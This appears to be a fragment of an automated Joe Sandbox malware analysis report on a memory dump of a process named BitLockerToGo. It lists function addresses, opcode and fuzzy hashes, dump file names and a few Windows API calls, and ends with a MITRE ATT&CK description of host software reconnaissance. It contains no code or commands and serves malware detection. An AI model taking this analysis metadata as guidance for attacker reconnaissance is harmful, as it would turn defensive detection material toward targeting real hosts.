Instruction ID: 4b467f7ae1dec37f9abd9b5af98a7d2759f06a72dae83dd0e9d4af1f34716801
Opcode Fuzzy Hash: 3bb308d2cac15941bef27c0e6a92355f6c5093aec1be850d82f29a2589a9effb
Instruction Fuzzy Hash: 57716C7B6497109FE724CA29DCC063B7393EBD8315F2A422EE5CA47302DB399C018756

Function 0046C492 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7333e486de9cfa855b3c056ab00a2a36d6f433a739890f75b94d8d20b23dbc0e
Instruction ID: 4cee561f308b0542de4acf8b631ad06187efdea6cd793eea64861274b4435d99
Opcode Fuzzy Hash: 7333e486de9cfa855b3c056ab00a2a36d6f433a739890f75b94d8d20b23dbc0e
Instruction Fuzzy Hash: BA712A7150C3D24BD3598B3484E027BFFE19FA3305F58459EE4D247392E76988068B9A

Function 00462058 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb2c6609698d81d2714a15e21917e366da150c223e694a683a14195b259111d3
Instruction ID: 6b62f98f75f0e7be479624a0e552a2408e599d21f20e528c92acbc7a5d6b2590
Opcode Fuzzy Hash: bb2c6609698d81d2714a15e21917e366da150c223e694a683a14195b259111d3
Instruction Fuzzy Hash: 94A107B1604B408FC714EF38D58536BBBE1AB85314F14493ED8EB87392EA78A449CB07

Function 0047F640 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb2fc1234f6f72498ada3317d4e6a253d8b240fb0e0ca74bdfd0fae8a3d5f7a4
Instruction ID: e9c14787988ce34b59d0b8a989900263c3ad3fe5368beef672a54dd0b9b37fbc
Opcode Fuzzy Hash: cb2fc1234f6f72498ada3317d4e6a253d8b240fb0e0ca74bdfd0fae8a3d5f7a4
Instruction Fuzzy Hash: 6081E736B155914FC7289A7C4C512EA6A934B96230B2DC3BFE9B5CB3E5C12C480A9365

Function 0046E500 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce840f0fccf3fcf596c08471d3834f28572d989e664757c61bd7d21a53172fd3
Instruction ID: 0eda1d99e2b84f8dc43cc264ced1d51c53352421514f9be6b28875c85026bae9
Opcode Fuzzy Hash: ce840f0fccf3fcf596c08471d3834f28572d989e664757c61bd7d21a53172fd3
Instruction Fuzzy Hash: 57613636749A804BD328997D9C512A67AC34BE7334F3DC37FE5B1873E5E5684802434A

Function 00480F40 Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e19f933745de8a320033e75feff5a4c66d7f7d14cc8cb920f63abc69e678dc77
Instruction ID: b6a26941997dca4ce88313e71328cdae36257cff630b11ad52861093e34fe15b
Opcode Fuzzy Hash: e19f933745de8a320033e75feff5a4c66d7f7d14cc8cb920f63abc69e678dc77
Instruction Fuzzy Hash: B2510933B69A900F9328997D5C1226AB9870BD7334B3DC77BA6B1C73F5D5A888035344

Function 00487290 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebffd04c3239f1d1153b21a54b86ffc57ca05fb05ebe1c3bb60ddee673ceb43f
Instruction ID: 519150f25ed6af70183553f814f53356ff0136e66e3d59860b09ef9a3d6fa58d
Opcode Fuzzy Hash: ebffd04c3239f1d1153b21a54b86ffc57ca05fb05ebe1c3bb60ddee673ceb43f
Instruction Fuzzy Hash: 6D5124716083009BE714EF28DC56B3FBBA5EB94304F188D3EE98687291DA39DD01C796

Function 00479BF0 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 550b5453ddd5697494a974567a8079cd0f6224ad98dd8e8e9d0a3f6a0a9672a3
Instruction ID: 84b3985e849056dad548b059ae0d8e330140f19019db6f2b245d1ce7411101ca
Opcode Fuzzy Hash: 550b5453ddd5697494a974567a8079cd0f6224ad98dd8e8e9d0a3f6a0a9672a3
Instruction Fuzzy Hash: BA61C6316086514FDB25DE2DC8802ABB6D36B86330F19C72EE5BD8B3E5D7389C418749

Function 0046F100 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c49ee82d427ecd4fff27805c7fcdcbcaa8a5ec2dcae86f44678328fd3bfb153b
Instruction ID: 63364a84d00faf48a018ed2555276ae2682217f4ebc327b018f1e26c8c9bece3
Opcode Fuzzy Hash: c49ee82d427ecd4fff27805c7fcdcbcaa8a5ec2dcae86f44678328fd3bfb153b
Instruction Fuzzy Hash: 456139355083909FC325CF29E89092E7BD0AB96314F4885BEE8D447392D636DC09CB96

Function 00485F00 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55ef6180e002719f520b655d528f7097ff498507f44e967d95c04c0ebba15ba5
Instruction ID: eec60798634a9e5d9893a6a9fda50314ded1e4e8015c73c747fd535498ac18cc
Opcode Fuzzy Hash: 55ef6180e002719f520b655d528f7097ff498507f44e967d95c04c0ebba15ba5
Instruction Fuzzy Hash: 8A516CB15087548FE314EF29D49435FBBE1BB84318F054E2EE5E987391E379DA088B86

Function 00489C40 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 092554a78e2b289e403ca210a48e3a2c8941e405cfb711901250960d81902d02
Instruction ID: 575e9f0e1fdcea2d41472433a5c7e03ab3573de6b499b986d2a86e440970774f
Opcode Fuzzy Hash: 092554a78e2b289e403ca210a48e3a2c8941e405cfb711901250960d81902d02
Instruction Fuzzy Hash: 6F512632A147108BD720EA2DC88057FB7E2FBD5314F1E892AD9859B351E6359C01C7D5

Function 0046B510 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94a7247c4fd5bc06d0ae417b1f9bad8269af33d23ceed7a289b104283fa2a2a3
Instruction ID: 4298000a99694d3760b85263ab1dc469369443e9c6bddde92d22a283b939c0e0
Opcode Fuzzy Hash: 94a7247c4fd5bc06d0ae417b1f9bad8269af33d23ceed7a289b104283fa2a2a3
Instruction Fuzzy Hash: E0510B22749A814BD338897C9C613A67A938BE7334F2CC77BE5B1C73E1E65948464387

Function 004529C0 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23b86555ce2a695d0511db9aff25f2c561b64c1b68d1782900c463b72642fbea
Instruction ID: f025aeafef083ac54580a5f01a0fd5b09736137630a1ee4606c070bdccb5c720
Opcode Fuzzy Hash: 23b86555ce2a695d0511db9aff25f2c561b64c1b68d1782900c463b72642fbea
Instruction Fuzzy Hash: FB41FA22B0827147CB188E2D8D9017ABAD39FC6215F0EC63BECD99B787D1789D0497D4

Function 0048D7C0 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 744b691c0e313911e2d45083593910c7f644f3580d43c3080491736fc7fc33ff
Instruction ID: 9d1651d086a1f43b149a636789ec11e089313b7f83c84912226922a3a6231b69
Opcode Fuzzy Hash: 744b691c0e313911e2d45083593910c7f644f3580d43c3080491736fc7fc33ff
Instruction Fuzzy Hash: 1C411475A05301AFEB14EB25DC84F7FB3A6EB95304F14883EE28597290D728AD14C759

Function 00486600 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c7910782736839ac4350097b99fbc12cc190367cc94b7902d2fa63f6ea209b7
Instruction ID: d96c9e78e08fe178725b65709d899e8afae6f318f8d62b852401ffb2b7c5cf91
Opcode Fuzzy Hash: 8c7910782736839ac4350097b99fbc12cc190367cc94b7902d2fa63f6ea209b7
Instruction Fuzzy Hash: 8931FC77A087284B8324AE598C8216BF7E9EBCD614F1AC92FDC94A7311F674DD0287C5

Function 0048C271 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4fc7cec2203445dc4199c26d340cc904b90764a1c7aa8c0a7aeee251b5545c6
Instruction ID: c368072f054f1c38245d297833e7c5b2769b0247d7fe650d2560136531fc9b69
Opcode Fuzzy Hash: f4fc7cec2203445dc4199c26d340cc904b90764a1c7aa8c0a7aeee251b5545c6
Instruction Fuzzy Hash: 13215A71B187604BC719DE3988D112FFBD39BCA210B0DD97EC8A69B3D5C934D9068758

Function 00489A60 Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 30ef090ff568d0f0629f2c2f472fb4513c6e6329c292534b8928eab2378c7ed2
Instruction ID: 24796e764f8fcaf7bc4874ccf6ea1a95b00b571a0543a0c21330b55406ca53cb
Opcode Fuzzy Hash: 30ef090ff568d0f0629f2c2f472fb4513c6e6329c292534b8928eab2378c7ed2
Instruction Fuzzy Hash: F631D3728093108BD710DF28D84476BB7E4FB96314F19892ED889AB201D335EC05CBD6

Function 00487B60 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 156d155433e1dc68d748ce8a843954fd2ce1e707b49fe4b1efb67903aa61495d
Instruction ID: 5065469fe056952ffa1b2e3d862cc15b994dff28ceb37b945b43f31e5e32e5ce
Opcode Fuzzy Hash: 156d155433e1dc68d748ce8a843954fd2ce1e707b49fe4b1efb67903aa61495d
Instruction Fuzzy Hash: 8431B53260C7144BC3156D7D48A012FB692ABC6734F398B3EEAB64B3C1DA759C459386

Function 00489B90 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1796be06319e4bd2875c215c75fbf2a9d505f152efbba258041335944f07a3a5
Instruction ID: 7c234e2af7335f3d5b51cdd0708f381f45857e1c5e32d9ecd7e27f98a3d32f21
Opcode Fuzzy Hash: 1796be06319e4bd2875c215c75fbf2a9d505f152efbba258041335944f07a3a5
Instruction Fuzzy Hash: A7115976A042105BE320EE199C80A3F7363EBD5304F1E897AC8896B308C7369C00C3D5

Function 004834B0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: a2c338323423a56a7cca65fec5c841f1e46a57019393e46809603948df37ae3c
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 2611E933A091D40EC3169D3C8450569BFA30A93A36F5D479AF4B49B2D3D62B8E8B8359

Function 00479B50 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56e5d6b3793abb73240840821285b064188180bf58488734fa1c4e5c3ac1201e
Instruction ID: 6dfc54fb67c2ba4a4e24cef60371cbe9b8b22e9c2662a34bed759a9b5f7b3744
Opcode Fuzzy Hash: 56e5d6b3793abb73240840821285b064188180bf58488734fa1c4e5c3ac1201e
Instruction Fuzzy Hash: 9601B1F160030187D7209E16A4D0B67B2B8BF81B08F09842EE80D77342EF79FC08C2A9

Function 0047151B Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46a7aa64eb7c117f55bf52c6863755b6ed465b284fdf4d9a65877e2a33061b9b
Instruction ID: b4a54d4059e5bb49432b0896917bace347a605edf444c8cd4ac279b5863896fe
Opcode Fuzzy Hash: 46a7aa64eb7c117f55bf52c6863755b6ed465b284fdf4d9a65877e2a33061b9b
Instruction Fuzzy Hash: 0E014C306883426BD300DF59DC8296BB6A9FBD2244F588C3DF459E7251DA389504475A

Function 00477AAF Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec37f516d960b70597dcf51fd4ea35f048c0d2e6d90660047f024287c1b12cb4
Instruction ID: 76af720ec70683c09ec7cd6a396330be75db1bb798ae56fcca3381e2cedbac5c
Opcode Fuzzy Hash: ec37f516d960b70597dcf51fd4ea35f048c0d2e6d90660047f024287c1b12cb4
Instruction Fuzzy Hash: 86A011A2C880808A80008E02A802832E338022B20AF00303AE80AB3203EA28E008820E

Function 00481CD8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00481D0A
GetSystemMetrics.USER32 ref: 00481D19

Strings

, xrefs: 00481DC4

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 5525acaaedca2cb763bf8930612d9b39fbf2ff9e83493caeb4aa2b402a6bf3fd
Instruction ID: dce49044dad9cd1b6808bc58eff24b154cde99854fcf7fd71ef0447e6981f106
Opcode Fuzzy Hash: 5525acaaedca2cb763bf8930612d9b39fbf2ff9e83493caeb4aa2b402a6bf3fd
Instruction Fuzzy Hash: 64315EB09183049FDB40EFA9DA8565EBBF4BF88304F11453EE498DB360D774A948CB96

Function 0047FDD9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 0047FE13
SysFreeString.OLEAUT32 ref: 0047FE1B

Strings

YI, xrefs: 0047FDF4

Memory Dump Source

Source File: 00000005.00000002.2592473041.0000000000451000.00000020.00000400.00020000.00000000.sdmp, Offset: 00450000, based on PE: true

Associated: 00000005.00000002.2592455981.0000000000450000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592504910.000000000048F000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592523301.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2592544020.00000000004A3000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_450000_BitLockerToGo.jbxd

Similarity

API ID: FreeString
String ID: YI
API String ID: 3341692771-631246294
Opcode ID: dc23c2178c79c7a2ad3d8c0b4f10990438281c4c598d5fdaba850d06c1df8607
Instruction ID: 1ad1ea44ba1e9a140b9fbbacb19ece1b1280aeed631b19f2cf2ab08352cb3e3c
Opcode Fuzzy Hash: dc23c2178c79c7a2ad3d8c0b4f10990438281c4c598d5fdaba850d06c1df8607
Instruction Fuzzy Hash: 63F0C7F0009A808BE722EF30C981585BBE0AF11314F1A09BECCCA8B202DA756845CB02

Description:	Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).
Tactics:	Reconnaissance
Data Sources:	Internet Scan: Response Content
Platforms:	PRE
Url:	Open detailed description by Mitre

